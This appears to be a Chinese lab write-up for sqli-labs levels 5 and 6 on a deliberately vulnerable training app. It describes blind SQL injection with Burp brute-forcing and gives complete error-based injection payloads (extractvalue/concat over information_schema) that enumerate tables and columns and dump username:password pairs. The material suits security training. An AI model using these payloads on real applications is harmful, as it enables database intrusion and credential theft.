sql-labs通关记录(5-6)

less-5
?id=1
sql-labs通关记录(5-6)_第1张图片结果不返回数据库中的数据,加反引号。
sql-labs通关记录(5-6)_第2张图片报错,再加个单引号。
sql-labs通关记录(5-6)_第3张图片说明存在sql盲注。(进一步验证,属于字符型注入)

结合bp爆破数据库的长度和数据库名。
sql-labs通关记录(5-6)_第4张图片sql-labs通关记录(5-6)_第5张图片数据库长度为8,接着爆库名。
sql-labs通关记录(5-6)_第6张图片sql-labs通关记录(5-6)_第7张图片sql-labs通关记录(5-6)_第8张图片库名为secuirty.

爆表
第一张表
sql-labs通关记录(5-6)_第9张图片sql-labs通关记录(5-6)_第10张图片emails,将limit 0,1换成limit 1,1 爆破第二张表。
sql-labs通关记录(5-6)_第11张图片依次得到所有的表:emails,referers,usgents,users

爆users表的字段。
sql-labs通关记录(5-6)_第12张图片依次跑出所有字段,找到username,password字段。

爆username数据,同理依次找出响应密码。
sql-labs通关记录(5-6)_第13张图片sql-labs通关记录(5-6)_第14张图片密码
sql-labs通关记录(5-6)_第15张图片sql-labs通关记录(5-6)_第16张图片

less-6
sql-labs通关记录(5-6)_第17张图片sql-labs通关记录(5-6)_第18张图片less-6与less-5一样,都是盲注,不过less-6使用的是双引号,将less-5中payload中的单引号改成双引号即可。

这里我尝试一下另一种方法,报错注入

爆库

?id=1"and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

sql-labs通关记录(5-6)_第19张图片爆表

?id=1"and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+

sql-labs通关记录(5-6)_第20张图片

爆字段

?id=1"and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)) --+

sql-labs通关记录(5-6)_第21张图片因为报错最多返回32位,所以要使用limit来输出。

?id=1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 5,1),0x7e)) --+

sql-labs通关记录(5-6)_第22张图片找到username和password字段。

爆数据

?id=1"and extractvalue(1,concat(0x7e,substr((select group_concat(username,":",password) from users) ,0,30),0x7e)) --+

sql-labs通关记录(5-6)_第23张图片更换这里的数字。

依次将所有数据跑出来。

你可能感兴趣的:(Web,sql)